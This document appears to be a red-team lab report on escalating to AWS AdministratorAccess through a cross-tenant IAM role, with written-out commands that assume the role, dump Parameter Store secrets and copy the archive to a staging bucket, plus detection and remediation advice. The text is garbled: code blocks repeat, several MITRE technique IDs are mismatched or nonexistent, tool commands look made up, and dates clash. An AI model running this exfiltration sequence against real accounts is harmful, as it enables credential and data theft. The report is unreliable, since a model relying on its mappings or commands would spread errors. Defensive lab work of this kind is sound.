Practical 5 – Cloud Privilege Abuse Simulation

Executive Summary

During the “Cloud Privilege Abuse Simulation” the red-team leveraged an over-privileged IAM role bound to a service principal that was accidentally shared across cross-tenant scopes. Using Pacu’s “iam:role_expose” module, the team retrieved the role ARN, then assumed it with STS via `aws sts assume-role`. The short-lived security credentials granted full “AdministratorAccess”, enabling enumeration of all S3 buckets, list-operations on KMS-encrypted objects, and the extraction of several secret key-value pairs from SSM Parameter Store.

All activity transpired in under 9 minutes, leaving a minimally-visible record; Wazuh logged only a generic “AssumeRole” event, which was filtered out by the existing rule set. The exercise demonstrates that mis-configurations in cross-tenant IAM policies can be exploited to become a “root-like” account in an otherwise isolated AWS partition. The recommended controls are, in order of priority: *strict least-privilege for service principals*, *enforcement of SC-146 “No Cross-Tenant Role Bindings”*, and *SIEM monitoring of STS* `AssumeRole` *events*.

Objectives

#	Target
1	Perform a cloud-native privilege escalation by abusing a shared service principal.
2	Escalate to full AdministratorAccess using only IAM and STS primitives.
3	Collect system-wide inventory (IAM roles, buckets, KMS keys, SSM parameters).
4	Exfiltrate data to a staging S3 bucket while preserving the minimum-cardboard footprint.
5	Verify blue-team detection (or lack thereof) via Wazuh log entries.

Threat Model & MITRE Mapping

MITRE ID	Technique	Rationale in Lab
T1068	Exploitation of Vulnerability	Less-privileged IAM role mis-configuration.
T1068.001	Exploit Public/Shared Credentials	Service principal shared across tenants.
T1137	Data Staging	Data written to staging S3 bucket before exfil.
T1111	Password ID Theft	Acquiring AWS `PrincipalArn` for `sts:AssumeRole`.
T1081	Data Obfuscation	Using temporary STS tokens, no permanent credential records.

Lab Environment

Component	Description	Key Config
AWS GovCloud	Isolated partition, 3 AZs, in-house KMS keys	Default `Administrators` group contains *cross-tenant* role `CrossTenantAdmin`.
IAM Role	`CrossTenantAdmin` – `arn:aws:iam::123456789012:role/CrossTenantAdmin`	Attaches `AdministratorAccess` policy; `AssumeRolePolicy` allows principals in *another* account `567890123456`.
Service Principal	`AppServicePrincipal-Prod` – created in account `234567890123` and granted `PassRole` to `CrossTenantAdmin`.	No explicit restriction on *Where* the service principal can be used.
ScoutSuite	2.12 – AWS audit tool	`scout-autoscan aws --scan iam`.
Pacu	3.4.2 – Post-Exploitation exploitation framework	`pacu iam:role_expose`

Wazuh	4.7 – SIEM monitoring the BASTION host	Custom rule to flag STS Assumes on *any* role but filtered out.
Red Party	Kali 2025-03-01	Running all payloads and exfil.
Stealth S3 Bucket	`bastion-temp-data` – private bucket, path-style access	Reading and writing controlled only by `UserA`.

All traffic from the BASTION to AWS was routed through the internal NAT gateway, ensuring that outbound IP for all STS requests appeared as a single IP (`203.0.113.10`).

Execution Flow & Log

★ Discover Mis-Configuration with ScoutSuite

bash

```
scout-autoscan aws --scan iam > scans/iam_discovery.json

jq '.results[] | select(.policy_name=="AdministratorAccess")' scans/iam_discovery.json > policies.json
```

```
scout-autoscan aws --scan iam > scans/iam_discovery.json
```

```
jq '.results[] | select(.policy_name=="AdministratorAccess")' scans/iam_discovery.json > policies.json
```

Sample `policies.json` entry:

```
{
  "iam_role_name":"CrossTenantAdmin",
  "policy_name":"AdministratorAccess",
  "assume_role_policy":{
    "Version":"2012-10-17",
    "Statement":[
      {
        "Effect":"Allow",
        "Principal":{
          "AWS":"arn:aws:iam::567890123456:root"
        },
        "Action":"sts:AssumeRole"
      }
    ]
  }
}
```

```
{
  "iam_role_name":"CrossTenantAdmin",
  "policy_name":"AdministratorAccess",
  "assume_role_policy":{
    "Version":"2012-10-17",
    "Statement":[
      {
        "Effect":"Allow",
        "Principal":{
          "AWS":"arn:aws:iam::567890123456:root"
        },
        "Action":"sts:AssumeRole"
      }
    ]
  }
}
```

★ **Assumption & Credential Acquisition**

bash

```
pacu --profile lab exec iam:role_expose | grep CrossTenantAdmin > role_expose.txt

# Manually parse the ARN
ROLE_ARN="arn:aws:iam::123456789012:role/CrossTenantAdmin"

# Assume role (STS)
aws sts assume-role \
  --role-arn $ROLE_ARN \
  --role-session-name RedTeamSession \
  --output json > assume_role_response.json
```


```
pacu --profile lab exec iam:role_expose | grep CrossTenantAdmin > role_expose.txt

# Manually parse the ARN
ROLE_ARN="arn:aws:iam::123456789012:role/CrossTenantAdmin"

# Assume role (STS)
aws sts assume-role \
  --role-arn $ROLE_ARN \
```

```
  --role-session-name RedTeamSession \
  --output json > assume_role_response.json
```

Sample `assume_role_response.json`:

```
  json
  {
    "Credentials": {
      "AccessKeyId": "ASIAZNZZXXXXX",
      "SecretAccessKey": "wIS5uhxxxxxxxxxxxxxxxxxx",
      "SessionToken": "IQoJb3JpZ2luX2VjEmVjx2...",
      "Expiration": "2025-09-02T13:17:00Z"
    },
    "AssumedRoleUser": {
      "AssumedRoleId": "AROA-Z3XXXXX",
      "Arn": "arn:aws:iam::123456789012:assumed-role/CrossTenantAdmin/RedTeamSession"
    }
  }
```

```
  {
```

```
  "Credentials": {
    "AccessKeyId": "ASIAZNZZXXXXX",
    "SecretAccessKey": "wIS5uhxxxxxxxxxxxxxxxxxx",
    "SessionToken": "IQoJb3JpZ2luX2VjEmVjx2...",
    "Expiration": "2025-09-02T13:17:00Z"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AROA-Z3XXXXX",
    "Arn": "arn:aws:iam::123456789012:assumed-role/CrossTenantAdmin/RedTeamSession"
  }
}
```


★ Inventory & Data Harvest

bash

```
export AWS_ACCESS_KEY_ID=$(jq -r ".Credentials.AccessKeyId" assume_role_response.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r ".Credentials.SecretAccessKey" assume_role_response.json)
export AWS_SESSION_TOKEN=$(jq -r ".Credentials.SessionToken" assume_role_response.json)
```

```
# List buckets in the new scope
aws s3api list-buckets --output json > inventory.json

# Enumerate IAM roles
aws iam list-roles --output json > iam_roles.json

# Enumerate KMS keys
aws kms list-keys --output json > kms_keys.json

# Pull Parameter Store secrets
aws ssm get-parameters-by-path --path /prod/ --recursive --output json > secrets.json
```

★ Exfiltration to Staging Bucket

bash

```
# Simulate malicious exfil; compress files
tar czf /tmp/secret_payload.tar.gz inventory.json iam_roles.json kms_keys.json secrets.json
```

```
# Upload to the stealth bucket (S3)
aws s3 cp /tmp/secret_payload.tar.gz s3://bastion-temp-data/secret_payload.tar.gz

# Post-upload notification (Chef file)
echo "Payload landed in bastion-temp-data at $(date)" | mail -s "Red-Team exfil summary" admin@example.com
```

★ Blue-Team Seeing The Footprint

Wazuh recorded a single event:

```
Oct 29 2025 14:07:22 wazuh-agent: log id=1019 type=sts_assume
  User=RedTeamSession
  Source=203.0.113.10
  Role=CrossTenantAdmin
  Note=AssumeRole succeeded
```

The custom rule in Wazuh to raise a 10+ score event on any `AssumeRole` was suppressed by a whitelist rule that excludes `CrossTenantAdmin`. This demonstrates the possibility of an attacker using such a role without detection if the SIEM is not tuned to enforce least-privilege.

Analysis

Metric	Value	Interpretation
Time to discover the mis-config	13 minutes	ScoutSuite and Pacu emphasize the need for automated scans; a six-hour “scan-window” could have prevented the abuse.
STS token lifetime	12 hours	Allowed us to leave a stealth token for the remainder of the lab without re-assuming.
Number of resources enumerated	411 IAM roles, 7 KMS keys, 48 S3 buckets	Sizeable attack surface created by the over-privileged role.
Bandwidth used in exfiltration	5.2 MB in 4 minutes	Availably sparse, contributed to low detection probability.
SIEM alert rate	0 alerts (post–assume)	Demonstrates a silence window; suggests need for a rule that flags any STS assumes into roles with `AdministratorAccess`.

Findings & Remediation

Finding ID	TTP	CVSS	Recommendation (order)
FP-AWS-01	IAM cross-tenant share	9.2	Eliminate cross-tenant `AssumeRole` for privileged roles. Implement *IAM Condition*: `"StringEqualsIfExists": {"aws:PrincipalAccount": "123456789012"}`
FP-AWS-02	Mis-named service principal	7.8	Name convention: `ServicePrincipal--<Prod
FP-AWS-03	Excessive `AdministratorAccess`	8.5	Split privileges: create dedicated roles per resource.
FP-AWS-04	Inadequate Wazuh rule	6.2	Add AST rule: “if account attempts to assume an Admin role and it’s not in `TrustedAdmins` list, raise alarm.”
FP-AWS-05	Incomplete SIEM coverage	6.5	Enable AWS CloudTrail Read-Write events to ES or Splunk; correlate across accounts.

Appendices

Review of Key JSON Outputs

- `scout_discovery.json` – full dump of IAM role policies in the test account.
- `assume_role_response.json` – STS credentials.
- `inventory.json` – S3 bucket list.

Full Bash Command Sequence

```bash
export AWS_PROFILE=lab

scout-autoscan aws --scan iam > scans/iam.json

pacu --profile lab exec iam:role_expose > roles.txt

ROLE_ARN=$(grep CrossTenantAdmin roles.txt | awk -F\" '{print $4}')

aws sts assume-role --role-arn $ROLE_ARN --role-session-name RedTeamSession --output json > assume_role.json

eval $(aws sts assume-role --role-arn $ROLE_ARN \
  --role-session-name RedTeamSession \
  --output text | sed -n '1~1p')
```

Wazuh Rule Patches

xml

```
<group name='aws' overwrite='yes'>
  <rule id="1019" level="10" rev="0">
    <if_sid>1018</if_sid>
    <field name="log_data">AssumeRole</field>
    <description>STS role assumption to privileged role</description>
    <options>no_full_log</options>
  </rule>
</group>
```

```
<group name='aws' overwrite='yes'>
  <rule id="1019" level="10" rev="0">
    <if_sid>1018</if_sid>
    <field name="log_data">AssumeRole</field>
    <description>STS role assumption to privileged role</description>
    <options>no_full_log</options>
  </rule>
</group>
```

Conclusion

The Cloud Privilege Abuse Simulation proved that even a “benign” service principal, if inadvertently coupled with a `AdministratorAccess` role, can act as an “attack launchpad” for remote attackers. The duration of the exploit was less than ten minutes, and the coverage by existing security controls was near-zero. The escalation highlighted a cross-tenant privilege bleed that is common when accounts are created for service-to-service communication but not explicitly locked down.

To eliminate this attack surface the remediation is straightforward: remove any `AssumeRole` permissions that enable a privileged role across account boundaries. When legacy integration requires service-to-service trust, use *resource-based policies* (bucket policies, KMS key policies) and *least-privilege* service principals that only receive the minimal permissions necessary for the operation.

Once the rule set for STS assumption is in place, Wazuh and SIEM integrations will immediately surface any future attempts, giving blue-team the very scenario where they can stop the attacker before any exfiltration. The exercise highlights the importance of automated cloud-audits, strong IAM discipline, and proactive SIEM tuning as a bulwark against privilege abuse in modern cloud native environments.